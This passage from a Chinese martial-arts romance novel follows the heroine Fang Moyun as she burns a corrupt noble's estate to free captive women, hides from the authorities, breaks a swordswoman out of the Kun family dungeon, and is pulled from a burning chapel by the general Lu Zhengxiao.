昆少在城中发了疯的寻人，可是他又怎么能抓得住茉云，茉云自己就是司法参军出生，抓人是她的拿手好戏，她怎么可能让人逮住。而且她这几日将城中寻了个遍，也没见到什么踪影。
这日茉云躲在树上吃着饼，看见衙役也暗地里加入了他们寻人的队伍，想来也正常，州府的刺史定然跟南华昆家沆瀣一气，她转身之际若有所思，这刺史十有八九是跟他们一伙的，难道抓来的人关在了州府的大牢。
夜里茉云便夜探了大牢，进入大牢茉云抬眉看着，他们南华真是礼仪之城，夜不闭户贼都没有一个吗？刚刚走出大牢，茉云就被人围了，敌人抬剑便袭来，茉云二话不说抬剑挡住了致命一击。
但是就在剑芒相撞的瞬间，茉云怔了半分，这可不是一般衙役的功夫，废了老大劲才逃离脱身，也是自己轻敌了。
茉云逃入了丛林中喘着粗气，想必敌人也追不上来，还好自己从小混迹南华，跑路是家常便饭，说不定也还要谢谢这夜里飘荡在林间的冤魂，不然自己为何每到绝路又见到了岔路。
今夜只能在树上过一夜了，茉云躺在了树枝上，不禁想到这是什么情况，一个南华州府的衙役能有这般能耐？让自己都差点难以抽身，而且他们穿的并不是衙役的服装……莫非是州府已经来了什么大人物了？
她忽然耳边居然又响起悠悠的曲乐声，她深深吸了口气心想又来了，姐妹们让我睡个觉不为难吧。她调整了一下换个睡姿，瞬间猛然睁开了眼睛，然后猛敲了一下头，生疼得很，自己不是在做梦，那这山里哪来的乐曲……难道是那座院子开了……
茉云顿时思虑着，那院子修得那般富贵，讲究又大气，或许并不是供他一人寻欢作乐，好像此刻有一股无法抗拒的力量，让她彻夜难眠，最终准备冒险夜探那山中私家宅院。
夜幕如墨，月暗星稀，林中的寒风掠过四野的静谧，只有丝丝若有若无的乐曲声飘荡在空中，诡异悠长，处处透着阴森，茉云穿梭于林中，那声音变得越来越刺耳，她这么多年主管刑律的直觉告诉她，这乐曲背后隐藏着罪恶……
不到半个时辰她就到了院外，在隐蔽的角落伏下，冷眼观察，宅院果然如当日不同，四周的守卫异常森严，但她以超然的身法绕过了层层防护，翻身跃上院墙潜入私宅。
院内果然灯火通明，觥筹交错，她抬眼望去，如她预料的那样，此处果然是大宴宾客之所，昆少手里端着一杯美酒，脸上挂着玩世不恭的笑容，但是他居然没有坐在主位上，主位上是一位看着便知尊贵的客人。
那客人穿着上等锦缎所制之长袍，锦缎在烛光下都闪着暗金的光泽，长袍上用金线和银线绣满了精致的纹样，腰间系着一条嵌满宝石的腰带，腰带中央镶嵌着一块硕大的玉佩，通体碧绿价值不菲。
茉云轻轻锁眉，这是哪儿来的富贵人家，可她马上发现眼前的宴会远非寻常的酒宴。庭院中央，几名年轻的乐女衣衫不整，颤抖着站在众人面前表演着乐器和舞蹈，眼中充满了惊恐和无助。而席上，那些衣冠楚楚的贵胄们，目光里却带着病态的兴奋，肆无忌惮地评头论足，完全将这些女子视作玩物。
昆少斜倚在椅子上，面容阴冷眼神却空洞。他的手指着然后一挥，身旁的护卫便毫不犹豫地将其中一名瑟瑟发抖的少女推到他们面前。
主座那位富贵的公子身旁之人忽然撞倒了烛台，吓得那少女跪倒在地，哀求着什么，可她的声音被乐曲完全掩盖，在场没有一人听见她的哭求，而那
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些座上宾全然不为所动，反而笑得更加猖狂，仿佛女子的无助反而更加刺激他们的欲望。
这一幕幕恶毒的景象顿时燃起了茉云心中的怒火，几欲拔剑冲出，可她咬牙握紧了砖瓦，理智将她按捺住了！她知道，今晚如若现身，而未全身而退，就没有办法查清谋害卢正啸之事！
茉云咬牙打算悄然退去，只能轻轻望向深山许诺，终有一日她会让这群禽兽为他们的所作所为付出代价。
可就当她转身的瞬间，院里又压来了两人……她怔了半刻压来的两人都是熟人，一个是玉心兰，一个是俞诗。玉心兰的眼中都是愤怒而俞诗整个人已经吓傻，她们全身被绑，口中也塞着布，不能发出声音也挣扎不开，简直就是任人宰割被抬了进去。
而且此时宾客都起身了，似乎开始在挑选着猎物一般，随从顺着他们手指的方向去抓人，少女们的尖叫声与权贵们的狂笑声交杂在一起。忽的一下院后的多间屋子的烛光被点亮，茉云才发现原来后面还别有洞天……
她顿时目光冷若寒铁，双拳紧握，原来这不仅是一场乐宴！她此刻仿佛一头被逼到绝境的猛虎，眼前这些所谓的贵胄，一个个笑得如此肆无忌惮，他们的笑声和女孩们尖叫声、哭喊声，都在撞击着茉云的理智，她怎能可能不去撕碎这眼前的黑暗。
“王爷，开心否？”昆少举杯的豪饮畅言道。
“开心！”
茉云此时才定睛看向那人，他身上图案是象征着皇家权威的龙纹和祥云，他是皇族的王爷，他是来跟卢正啸议事的人？那如果他出状况了，议事是不是也弄不成了，算了！管不了那么多了……
她悄然飞入后院，扫视四周，厨房中屯着柴火稻草，旁间屋子还屯着大量好酒。她拿起一坛美酒，然后面无表情飞上屋檐前去，将浓烈的酒液迅速再洒满整个庭院，顿时酒香四溢，也迅速引起了众人的注意。
“谁！”
茉云却丝毫未跑，飞身入院用取走了烛台，众人还未晃过神来，茉云一手抓着烛台，一手抓着稻草，一路点燃便往屋檐以及院内肆意抛，火苗迅速腾空而起，瞬间点燃了洒满酒液的庭院。
火焰如猛兽般迅速蔓延，瞬间吞噬了整个院落。酒液助燃，火势如同地狱的烈焰，卷起滔天的火海，顷刻之间，整座庭院变成了火光冲天。
“互相解开绳索，走！”茉云朝那些无辜的女子们吼道，在火光笼罩的混乱中，随从们已经顾不得抓她们，任由她们惊慌失措逃窜而去。
火焰映红了夜空，炙热的气浪裹挟着浓烟向四周扩散，院中的贵胄们吓得尖叫，往日的狂妄与傲慢在这毁灭的火海中顷刻崩塌。可此时只有昆少站在原地丝毫未动，看着这火光中乱窜的茉云，一脸的沉醉。
惊慌失措的小王爷还不及他身边的贴身随从镇定，那侍卫拿起了箭弩在火光中瞄准了茉云的背后，就在这一瞬间，众人始料未及的事发生了，昆少抬剑将那侍卫砍倒在血泊。
茉云也有几分诧异的看了过去，昆少眼中盈满了癫狂的钦慕，顿时不受控制的笑了。此时那小王爷都吃惊地望向昆少，不敢动弹……
当火焰彻底吞噬了整个庭院时，茉云转身离去，消失在夜色和火光中。她没有回头，心想这下又玩大了，自己干脆乘夜逃出南华，至少自己大概知道是谁要害卢正啸了，结果一路下山却看见俞诗瘫软在路旁，她无语的只得扶起了她。
“表姐……表姐，救救我……”俞诗像看见了救星一般嚎啕大哭，死死拽着茉云。
“行了，我带你回去，再哭也只是将那变态引来！”
俞诗才瞬间闭上了嘴，可是惊恐地泪水还是如断了线的珠子。茉云只得带着俞诗回了南华城，一路上两人都很沉默，直到到了俞府门前，深夜俞府还是灯火通明，定然是因为俞诗还未归。
“回去吧！”
“表姐，你不进去坐坐吗？”俞诗好像此时才晃过神来问道。
“不了，当没见过我！”茉云说完边消失在夜色中，俞诗望向茉云的背影，依旧是如此挺拔如山，就像一团熊熊火焰，无所畏惧能燃尽一切黑暗。
茉云又偷偷潜入了周劲家里的柴房，外面是轻柔的风声与秋夜的虫鸣，屋内则是无声的平静。
她倚靠在墙角闭目养神，她知道眼下的平静只是暴风雨前的宁静，而自己又跟当日救幽戎一样，一时头脑发热改变了全盘计划，先睡会儿明日再说吧，该如何如何？
153.重要
清晨的小院还带着昨夜残留的清冷，天空渐渐泛起鱼肚白。周劲如以往一样起得很早，他默默地打扫着院子，准备出门摆摊。
他去柴房收拾柴火，目光不自觉地扫了一眼角落，看见蜷缩在墙角的茉云，无语长叹了一口气，这丫头又不知道捅了什么篓子，但他知道茉云最讲义气，即便避难，也不会给亚亚带来麻烦。
他没有打扰她，他挑起自己的担子，推开院门，像往常一样，走出家门，前往城郊摆摊。
街道上行人渐渐多了起来，但今天的氛围似乎与往常不同，行人们三三两两聚在一起，低声议论着什么，脸上带着隐约的惊惶与兴奋。周劲素来不关注城中的闲事，但看到这些异样，他总有些不安。
到了面摊旁，刚摆好摊位，还没等开始忙活，便有几位熟客匆匆走过，交谈间的话语隐约传入周劲的耳中。
“听说了吗？小王爷昨夜在昆少山里宅院被害了！真是可怕啊，现在整个南华都被围了，城中到处都在查这个事呢！”
“是啊，传闻说整个宅院被烧成了废墟，那小王爷出生如此尊贵，可是个人中龙凤，没想到竟遭此横祸。”
“听说昨夜动静可不大了，半夜开始整个府衙都出动在彻查，谁胆敢对王爷的小儿子下手……”
周劲手顿时僵住，心中骤然一沉。他立刻意识到这场风暴只怕与昨夜留宿在他家柴房之人脱不了干系。小王爷昨夜被害还是在山中昆少的的宅院，茉云当日也说过山中死了很多女孩，种种迹象让他明白，茉云必定已经对那人动手了。
周劲匆匆将面摊收拾起来，府衙必定会逐户排查，寻找犯人线索。而茉云此刻还在他家里，如果被发现，她必将有去无回。他不敢再耽搁迅速赶回家中。
回到家门口，目光四下扫视了一番，无人跟踪，他才进了院中，推开了柴房门，一把拎起了茉云。
“事不妙，还不醒来。”他压低声音低吼道。
茉云神色依旧疲倦，但冷静镇定的看向周劲。
周劲瞪着茉云沉声道：“城中传闻已起，说昨夜小王爷被害，昆少院子被烧，你干的？”
“院子我烧的，小王爷，我下杀手啊！”茉云眉头微皱的说，似乎也感受到事情没那么简单，但她并没有丝毫慌乱的神色。
周劲二话不说一把拎起了茉云，走进了自家屋内。亚亚吃惊的看着，可是他马上做出了不要发出声音的手势，亚亚愣了半刻点点头。
茉云则乐了问道：“诶，你老婆本来就是不发声的！”
周劲懒得与她言语，来到一处隐蔽的角落，轻轻拉开一块木板，露出一个小小的地下密室入口。这密室是周劲多年为防意外所建，虽简陋，但极为隐秘。
“不用了，我撤了就是，别连累你们！”
“你不进去，我现在就打断你腿！”周劲忿然的低吼道，茉云不知道为何看着周劲总觉得有几份熟悉这个口气。
周劲迅速将干粮和水放进了密室：“你暂且在这里躲避一阵，我会留意外面的动静，风头过了再做打算。”
茉云则乐了说道：“多谢周叔，欠你的人情，来日再报答。”
周劲一脚就将她踹了进去，本来懒得再跟她废话半句，可是想着又低声吼道：“密室里的东西，你要敢动，我就剁了你！”
茉云满脸忿然的摸着被踹的腿，心想你还以为我跟当年一样，打不赢你？可她也知道此时此刻，周劲已将自己卷入这场危机之中， 稍有不慎，他们都可能性命不保，而且当年也是周劲不顾一切将自己送走的……
待周劲小心翼翼地将木板重新盖好，盖上杂物，掩盖住一切痕迹。然后看向亚亚，亚亚心领神会的点点头，
茉云在密室中静默片刻，伸手拿出了火折子点燃了密实的油灯，既然跑不出去了，自己还要谋划下一步的行动。可是她迅速被密室中的收藏震惊了……
首先映入眼帘的便是墙上一杆寒光闪闪的长缨枪，枪杆笔直，乌黑光亮，显然是一直被主人细心的打磨与保养。枪尖仍然锋利无比，微微泛着寒意，仿佛只需轻轻挥动便能刺破一切阻碍，锋芒毕露。
而桌上安放着一块沉重的铜质军牌，这是自己再熟悉不过的卢家军军牌。上刻着周劲的名字与编号，字迹清晰只是周围的边缘却微微磨损，显然经历过无数的战场风雨。
她马上打开身后的一个木箱，里面整齐地叠放着一副盔甲。盔甲的金属铠片熠熠生辉，反射着微弱的油灯光，这每一片护甲都被精心擦拭没有一丝锈迹，皮质的部分也依旧柔软结实。
茉云凝视着这些旧物，心中不禁生出疑惑又有几分敬意，他显然从未忘记自己曾经是卢家军之人，即便退隐多年，他依旧将这些视若珍宝，保存得如此完好，仿佛随时可以再披挂上阵为卢家军而战。
可是转念一想，即便是陈老将军那么大的年纪亦是断腿才依依不舍荣退，可周劲虽有些腿疾，但并不影响他随便能打死一头虎，他为何会离开军营……
茉云轻轻抚过那杆长缨枪，指尖都能感受到岁月的沉淀和曾金戈铁马的痕迹，忽然眼前又出现了当日他在自己眼前耍那套枪法的雄姿……
此刻，她也明白了，正是因为他是卢家军中人，才会让他有这份气度，愿意在这泥沼之中挺身而出，帮助她度过一次次危机。
白日里外面来人搜查过，茉云在这密室中也可以静静梳理了整个事情，要害卢正啸的十有八九就是昆家联姻的那个王爷，要在南华谋划此事，肯定需要当地势力最大支持，才可瞒天过海，看得出他们关系极为亲密，荣辱与共，当日琼枝苑昆夫人在求昆少之时也说，现在是关键时候，应该就是指刺杀卢正啸这事。
可是新的问题又来了，那小王爷怎么会死，而昆少没事，只有一个可能那便是昆少杀了小王爷，昆家是在搞什么鬼？茉云又陷入了谜团……
而昆家现在亦是陷入到困顿中，昆少的父亲昆珀然赶回了昆家，端坐在厅堂之上，整个家里气氛压抑沉重。他穿着一身宽大的锦袍，虽已上了年纪，但依旧双目炯炯一身儒雅，只是眉宇间隐隐透露着一股威严。
府中上下噤若寒蝉，退出了大厅没人问半句。厅中昆少正坐在一旁神情相当从容，仿佛对昨日之事未感任何不安，因为他此刻脑子里全都是茉云在私宅防火之时，火光中的模样。然而昆珀然目光冷如刀锋扫射到自己的儿子，他居然还是如此张狂的笑着。
“逆子！”他一声怒喝，声音如同雷霆般在厅堂中回荡，“你到底做了什么好事！”
昆少才微微一怔收回了思绪，可半分没有被父亲的怒火震住了，他依旧倨傲地抬头道：“爹，怎么了？不就是昨日斩了那小王爷身边个碍事的侍卫，有什么大不了的？”
“你居然还有脸说！”昆珀然气得脸色铁青怒火中烧，可依旧低吼，“那是小王爷的亲信侍卫！你知不知道你干了多大的蠢事！王府若知道该如何是好？”
昆少满脸不以为然道：“爹，怕什么？昨日你儿媳妇为了掩盖这点小事，不是把那小王爷处理掉了吗？人又不王府嫡子，那老王爷儿子多得是！不像您只有我这么一个不孝子！”
昆珀然闻言更加暴怒，眼神好似喷火，可奈何他说的是事实，自己只有这一个儿子：“幸亏芸莲急中生智，为你谋害了那小王爷，可你也别以为这件事就能轻易掩盖过去？此时只能将罪责推到那方茉云身上？”
昆少顿时不服气地冷笑反驳道：“人可不是方茉云杀的，是您的亲……儿媳妇杀的！”
昆珀然怒火再也无法压制，猛地上前，一巴掌狠狠甩在昆少的脸上，打得他猝不及防，昆少整个人直接摔倒在地，半边脸颊瞬间红肿。
屋外众人虽然听不清他们说什么，但是从未想过家主会如此震怒，不顾身份的动手，大家都伏低头不敢说话，脸上只剩下震惊和畏惧，唯有少夫人芸莲一脸的平静，亦是冷漠。
“逆子！你还不知轻重，要疯癫的将整个家族置于危难之中！”昆珀然怒斥道，声音如寒风刮过厅堂，“你可知道这事如果败露，我们整个昆家都将陷入万劫不复的境地！”
昆少却咬牙从地上爬起，眼中带着不甘和愤怒，癫狂的笑了说道：“那该死的王爷想着谋朝篡位，他不会万劫不复吗？你怕他干什么？我们死了，他能活？有本事让他来抓了我啊？”
昆珀然气得几欲断气，只得冷冷看着昆少，满脸都是失望之色的挥了挥手，对外面的人冷声道：“把昆少关起来！从今日起，不得我的命令，不准放他出来！”
下人们只能战战兢兢地上前，将癫狂的昆少架起，虽然他极力挣扎怒吼，可在他父亲的命令下，众人又将他的嘴堵上了，此刻他的任何抗争都显得徒劳
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，只得被强行带走，眼中满是怨愤和仇恨。
昆珀然看向被押走的昆少，心中翻涌着怒火和无奈，他知道事已至此，局势已是千钧一发，如果没法化解这场危机，昆家将面对前所未有的劫难。
“看好他！”昆珀然经过芸莲身边冷冷的说道，说完往门外走了。
“是！”芸莲亦没有任何表情的转身了，转身的瞬间眼中都是嫌恶和恶心。
昆珀然心中明了，目前昆家唯一的出路就是无论如何将此事办成，弥补小王爷在他家庄院遇害的过错，不然这个王爷岳父定然不会放过他……
周劲匆匆赶回家中，眉头紧锁四下张望了一番，确认没人跟踪后推开院门，外面城中的已然异常混乱，衙役到处在搜查，抓捕与小王爷被害案有关的嫌犯，南华城中任谁都知道，风暴席卷而来。
他走进后院，快步走向密室的入口，轻轻掀开了杂物和木板，茉云才从密室中走出，神情依旧镇定。
“城中已经乱作一团，衙役到处在抓人。小王爷被害的消息传遍了整个南华城。”
“周叔，我不能再留在这里。”茉云的声音却异常平静。
“你现在出去等于自投罗网！”
“就那几个衙役？”
“现在封地的王爷带着驻兵也入了城！哪里还是只有衙役！”
“王爷封地并不在南华，他的兵如何可能入得了城？就算是死了儿子，擅自调兵亦是死罪！”
“为了朝廷要事，自然是圣上允准他来的！”
“议事还是继续？”茉云顿时站起了身，眼中却带着不容置疑的决心，“周叔，我不能让你们陷入险境，而且我还有要事要办！”
“不行！你若出去，外面危机四伏，城门四处封锁，反倒是这里，暂时安全，没人会想到这破落的小院藏着你。”周劲心里清楚，眼下让她离开无疑是把她送入险境，南华城戒备森严，她再身手敏捷，也难以轻易脱险。
茉云目光中流露出一丝感激与无奈，她很清楚周劲是为他好，可是自己必须走：“周叔，我日后在跟你解释！”
“你休想出去半步，你速来就是只知道闯祸，何时知道轻重！”
两人对视片刻，茉云眼中的坚毅与周劲的刚硬碰撞在一起，让走进来的亚亚都愣在了原地。
茉云缓缓叹了一口气，她难道不知道若贸然离开难以自保：“周叔，我要去救一个人，一定要去！”
“谁！”
茉云停了半刻，心想我也不知道周叔是不是被卢家军赶出来，如果等下说出卢正啸的名字，为他莫名寻来一个敌人，那不是得不偿失，我现在亦没有时间查明此事，还是别冒险……
“我问你是谁？”
“是一个我豁出命也要救之人！”
“我问你是谁？”
“我不想告诉你他的名字！”
“他和你什么关系？”
“也没啥关系！”
周劲冷冷的望向茉云，似乎眼神都在说，你在此跟我废话什么呢？
“你这人就是块木头，怎么会听不懂人话呢？我方茉云这么盛气狠戾之人，都会这般低声下气的跟你说，这是一个我豁出命都要救之人！”
周劲愣了半刻若有所思的看向茉云，眼神中有些迟疑了；“什么意思？”
“就是我可入万丈深渊，而他必须活！”茉云愤然拍着桌子起身要走，说完她自己都倒吸了口气，自己竟然能说出这番话……
“站住！”周劲低吼道。
“你当真如此食古不化，非要动手？”
“吃了饭，天黑了再走！”周劲没好气的皱眉说道。
茉云愣了半刻瞬间坐在了桌旁，一脸嗷嗷待铺的乖巧模样，开心的点头说：“好嘞！晚上咱吃啥好吃的？”
周劲瞬间气愤的推门出去做饭，这辈子怎么会碰见这么难管的疯癫孩子。亚亚则被逗笑了，他的丈夫正直刚强，能改变他主意之人少之又少，可他拿茉云素来是没有办法。
他们端着饭菜进去的时候，看见茉云和两个孩子玩得笑成一团，长长叹息了一句，这丫头好像自小便是这般心大，如今居然也长大了……
夜色漆黑月光稀薄，整个南华笼罩在一片静谧与肃杀之中，全城已经被戒严，茉云换了一身夜行服，身影如鬼魅般悄无声息地融入了夜色。
154.栽了
寒意随着夜风卷席着南华，隐隐传来几声夜鸟的鸣叫，似乎在为即将到来的风暴预示着什么，茉云以屋顶为道潜入城中，她的轻功身法好似每一步都踩在空气里，毫无声息。
她先到了琼枝苑，本还想见见师兄，却发现琼枝苑如今已经人去楼空，而且师兄的房里留有一张字条：“我被昆家所擒，快逃！”
茉云月色下拿起这张字条，不禁乐了心想这人模仿师兄的字还挺像！
南华城中的街巷像迷宫般错综复杂，但她却熟悉得仿佛是自己家一般，她几次穿过巡逻士兵的视线，她敏捷地飞窜于屋檐，借着黑暗的掩护，一步步接近目标——昆家。
她怎能不知道这八成是一场陷阱，可她也有一种强烈的预感，她要找的人和答案都在昆家！不论有什么魑魅魍魉自己都要一闯……
昆家大门紧闭，重重门禁守卫森严，茉云从后院翻入庭院，脚尖轻点在屋顶瓦片上，稳如平地。
茉云落在走廊，轻轻从虚掩的小窗缝隙中看向屋内，这居然是少夫人的房间，只见她眉眼如寒霜，双眼空洞地凝视着窗外那轮孤冷的月亮，仿佛与周围都隔着一层冰寒，手中轻轻抚摸着怀中一只雪白的猫。
这一刻，茉云转身去找自己要找的答案，心中却不免生出几分复杂的情绪，幼时自己曾还觉得一女子生得她这般真是上天恩赐，奈何命运如此不济……
芸莲轻轻低头摸摸猫儿的背，动作优雅，带着一股与生俱来的清贵气质，眼神却闪过一丝寒厉。她未回头，但似乎早已察觉到了有人来，因为她等的就是方茉云，她知道方茉云绝不是坐以待毙之人，刀山火海她都敢闯。
茉云无声无息落入庭院之中，然而，刚打算跨过门槛，四周突然从暗处的窜出数十道冷光，兵刃在月光下发出森冷的寒芒。埋伏已久的人从四面八方现身将茉云团团围住。
茉云扫视了四周敌人后冷冷笑了，真当还是我以前那小女孩呢？就凭你昆府这点护院，也想拿我！众人像是一张巨大的网，缓缓向她收拢过来，茉云瞬间也拔剑了，月光下寒光如雪，夜风中杀意骤起。
她的剑闪烁如电，昆家护卫们也算训练有素，但在她凌厉的攻势下毫无还手之力，剑刃划过，伴随着一声声闷响，敌人纷纷倒下。不到片刻，倒下的护卫遍地躺卧，唉声连天。
茉云正准备往里走，就在此时，夜风中传来一阵冷冽的剑气，像是一道无形的寒流袭来。她警觉地迅速转身，抬剑便挡住了这道狠辣的剑气。
只见一剑客手持长剑，气质冷峻，剑刚出鞘，便已然释放出气势如虹的剑气。他目光锐利如鹰隼一般盯着茉云，这显然不是什么昆家寻常的护卫，而是一位剑术一流的江湖高手。
“看来你并不是泛泛之辈。”他低声说道，语气冰冷，握剑的手微微发力，剑鞘发出一声轻鸣。
茉云沉默未言，眼中闪过一丝战意，她知道面前这个人是真正的劲敌。对手一瞬间出剑，寒光乍现，剑气如游龙般直扑自己而来。茉云身形一闪迅速避开，同时挥剑反击，剑芒相碰火花四溅。
两人的速度极快动作如行云流水，剑光在夜色中交织成了一片寒冰交错，两人缠斗数十招，谁也无法占据绝对的上风。
对方的剑法虽精湛无暇，但茉云亦是战斗经验丰富，越战越勇，剑法愈发凌厉，每一招都带着雷霆之势，逐渐压制住对方的攻势。
终于，在一阵激烈的交锋后，茉云冷冷笑了，此人此剑战意十足，没有杀意，到底是武林中人！
她抓住了对方一个破绽，剑锋迅速逼近，迫使对方后退半步。对方神色微变，似乎意识到自己的处境，但已无力扭转，就在千钧一发之际，茉云挑破了对方的剑，只是转身跑了。
此时芸莲才冷冷走了出来，方茉云在昆家居然能任意游走，她转身跟下人轻轻说了什么？
“少夫人，让王爷的兵来抓她？万一穿帮了呢？”
芸莲冷冷转身，看见了关着忘忧的房内窗后的身影，他从始至终没有发出一声，他就是不想方茉云来救他，还真是重情重义啊。
“不要放方茉云活着离开昆府！”月之银辉此刻洒在芸莲的脸上，这位冰雪雕刻的美人瞬间变得阴冷而残戾。
“明白了！”
茉云果真未跑，最终闯入了昆家地牢，地牢阴暗潮湿，石阶上满是青苔，空气中弥漫着一股腐朽的气息。她取出腰间的火信，小心的一路搜索一间间囚室。影影绰绰的光线映在石壁上，让她心中莫名紧张起来，她知道自己时间不多。
直到她见到一间囚室中，一个身姿挺拔的女子是武林中人打扮，她静静坐在那里双手被铁链束缚，月光下眼神却仍然如锋芒一般锐利。
茉云忍不住认真端详了一刻，此女子轮廓分明眉如远山，线条锋利却不失柔美，鼻梁高挺，乌黑长发有些散乱垂在双肩，美得凌厉而冷峻，如同一柄藏锋的利剑，外表平静却暗藏惊人的力量，处处都透着武林女侠的风骨与骄傲。
“认识卢正啸吗？”茉云轻声问道。
显然那女子将目光移到了茉云身上：“你是谁？”
“方茉云，卢正啸是我……师兄！”
那女子冷冷的笑了讥讽道：“那你也去调查清楚，我就是他师妹，我为何不认识你？”
“不是！卢正啸不师傅多得是吗？我是卓神捕的最小的徒弟！”茉云马上解释道，“不是会当顶，但我是师承琼华掌门！”
此时那女人显然思虑了几分，因为她知道卓神捕，也知道琼华门风高节，掌门更是和师傅师娘交情极好。
“我还跟琼华的师傅去拜访过你们会当顶，寒娘师叔做的米糕，还放了糯米，又香又软糯，好吃极了！”
那女子瞬间站了起来说道：“那你为何在此处，正啸师兄呢？”
“谁知道他呢！”茉云想着没好气的说道，可是又看见那女子闪过一丝疑虑马上边开锁边说道，“师姐，我是入南华城中，听见城中有传，有人想利用你引来卢正啸杀了他，所以我来救你！”
“哼，那是他们想多了！”
茉云顿时无语的说道：“那瞧师姐这意思，您没打算走，准备还混几日吃喝？”
她顷刻无语的望着茉云，茉云则乐了打开了牢门，走进去解开她手上的铁链，她甩了甩手腕，活动了一下筋骨，带着一丝轻蔑地看了一眼这阴暗的地牢。
“师姐，高姓大名！”
“我叫林宥汐！”
“林师姐，走吧！”
穿过数道铁门和幽暗的甬道，茉云谨慎的迅速前行将宥汐护在身后，宥汐受了伤紧随其后。到了地牢口，两人交换了一个沉默的眼神，无需多言，彼此都明白接下来的危险。
“林师姐，我会去引开敌人，你休管其他护着自己逃出生天！去找卢正啸，将他们阴谋告知于他，阻止他参加会盟！”
“那你呢？”
“大局为重！”茉云观察着外面说道。
“何谓大局！”
“大局就是卢正啸生来就是为了守南境的，我们都死光了他不能死，他必须给他姑父给他爷爷还有全天下人灭了峑戎！”茉云转身望向宥汐说道。
宥汐深吸一口气望向茉云，瞬间眼中闪过一丝凝滞，可是瞬间又被拔剑义无反顾冲出地牢的茉云，将神思带了回来。
可是茉云顷刻意识到昆家门外冲天的火把光芒，繁乱的步伐声，这是众人已经将此处团团围住的声响，听这人数，若还配了箭手哪怕是插翅难逃了。
正当茉云审视着当前局势想如何逃脱之时，忽然感到一股极其阴冷的目光从上方投射而来。她缓缓抬头目光落在在高处的阁楼。
月光洒在阁楼的栏杆处，是昆家少夫人芸莲一袭白衣，犹如月下的寒霜，目光如毒蛇般紧盯着自己，眼神中没有一丝温度，带着静默的威胁与深不见底的恨意，令人心底都不寒而栗。
她两目光在空中短暂交汇，没有言语，仿佛就是宿命般的对立。
可茉云没有停留半分，转身拉着宥汐就逃窜去后院，她便是这样的人，没有完事之时，到最后一刻自己也绝不会放弃。芸莲顿时让开门放士兵进
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来，让他们拿下那杀害他们小王爷的“凶手！”
就在逃窜之时，“轰——！”一声巨响，打破了南华整个城夜，整个宅邸瞬间震动。浓烟伴随着火光从宅邸的深处猛然窜起，墙体轰然倒塌，灰尘与碎石四处飞溅，空气中弥漫着一股炙热的气息，火光染红了天际。
幸亏茉云眼疾手快拉着宥汐躲到了假山后躲过了余波，就在那一片混乱中，昆少的身影出现在废墟之中，让众人皆仓皇失措。
他衣衫凌乱，眼神中透出疯狂与欢乐，仿佛从黑暗中挣脱出来的野兽，他那张英俊的脸上布满了尘土与血迹，但嘴角却挂着一抹狰狞的笑意：“方茉云，我听到了你的声音！你是来找我玩了吗？”
“昆少！”
“炸得好，我娘就是死在这个房里，那群畜生居然将我关在这里！”他放声狂笑声音混杂在爆炸声中，带着一种近乎绝望的疯狂，他抬手又点燃了一个火药，随意的对院内投掷而去。
“轰！”的一声，宅邸的士兵愕然四散，面对这突如其来的疯狂爆炸，谁又能一时之间鼓舞士气上去送命？
火光映照着昆少的身影，似乎这一刻的爆炸才真正释放了他内心的压抑与愤怒，他站在废墟之上，如同掌控着一切的终结者。
茉云知道如果让其疯狂下去，今夜在昆家所有人都无法逃出生了包括自己，可她和宥汐必须出去一个提醒卢正啸小心此事。
她转身看向宥汐说道：“师姐，一定要逃出去！”
宥汐愣了一下看向茉云：“你什么打算！”
“引开那个疯子！”
“那我去，你功夫比我好，必然能逃出去！”
茉云则乐了说道：“师姐，正常人引不开疯子。”
宥汐愣了一下望向茉云，还没等她反应，茉云已经飞身而出，出现在火光与浓烟中，如一缕无声的鬼魅般逼近那片黑暗。
她的出现仿佛瞬间冻结了周遭，昆少那双充满狂热与疯狂的眼睛猛地一亮，所有的愤怒与毁灭的气焰在这一刻凝滞。他的狂笑声戛然而止，目光死死地锁定在茉云身上。
“果然是你来了！”昆少的声音带着一种颤抖的病态和兴奋，仿佛看到了唯一的光芒。
“昆少，你抓不到我的！”茉云嘴角露出阴寒的笑容，声音冷冽却带着一丝不易察觉的叹息，她的目光迎上了昆少的眼睛，既无畏又疯魔。
昆少踉跄了一步，目光完全被吸引，仿佛忘记了周围的一切：“我……长大了，我一定能抓到你！”
茉云转身飞身而去，昆少亦不顾一切的拿着火药飞身而去，一步步奔向她，眼中只有她的身影，带着所有怨愤与毁灭的欲望。
宥汐悄然从假山后脱身，借着夜色的掩护和院中的混乱，她知道茉云冒着生命危险为她寻了一条逃亡之路，就在此时一个魁梧的男子的出现了，一把牵着她的手，逃出了昆家。
茉云侧头目送着宥汐的背影消失在夜幕中，心中终于松了一口气。她知道，自己接下来面对的才是最难缠的。最终茉云逃入了昆家祠堂，昆少跟进了祠堂。
随着昆少一声癫狂的大喊：“我不会让你离开！绝不会！你再也跑不了了！”
“轰”的一声，震耳欲聋的巨响瞬间响彻整个祠堂，整个祠堂被炸了，化成了一片火海，火光从门口狂涌而出，伴随着浓浓的烟雾，瞬间吞没了祠堂的一切。
“我要留住你，永远留住你！”昆少那带着病态的执念回荡在火焰中。
茉云忍着被震伤的痛楚，被火势逼退至祠堂的一角，炙热的火焰无情地吞噬着周遭，四野已被浓烟遮盖，视线愈发模糊，她已然呼吸越来越困难，渐渐不支倒在了地上。梁上都是火光萦绕，四周墙壁都发出咯吱作响的声音，仿佛此处随时就要崩塌。
她意识也开始模糊了，可是就在这一瞬间她突然听到了一个她最熟悉的怒吼声：“滚开！”
他的声音好久都只出现在梦中了，她不顾一切的用尽最后一点力气伸出了手，是自己又在做梦吗，那请求老天爷最后一刻就让这梦不要醒……
155.熟悉
这不是梦！
“传我军令，众人在外等着！”正啸一脚踹开了千山吼道。
“大将军！”
滚滚的浓烟伴随着炙热的火焰从祠堂四周翻涌而出，火势迅猛，红光映照着夜空，仿佛天地间都在燃烧。
而正啸不顾任何人的阻挡与惊呼已经冲入了火海，没有一丝犹豫。火焰灼烧着空气，四周浓烟弥漫，灼热得让人无法呼吸。
“方茉云！”就在这片火海之中，他得不到任何回应，火焰四处蔓延，屋梁渐渐倒塌，木屑与火星四处飞溅险象环生，若不尽快找到她……恐慌似乎在吞噬他，可没有动摇他半分。
终于，在滚滚浓烟和炙热火光中，他看到了倒在墙角的茉云。他毫不犹豫，冲上前去，俯身将奄奄一息的茉云抱起，怀中的她已然没有多少力气，她艰难的抬起头，想看清这熟悉的身影。
“别动，我带你出去！”正啸紧紧将她护在怀中，茉云的头轻轻靠到他胸前，呼吸有些微弱。此时千山和万莫赶到了，万莫将在池塘打湿的披风瞬间盖在了茉云身上。
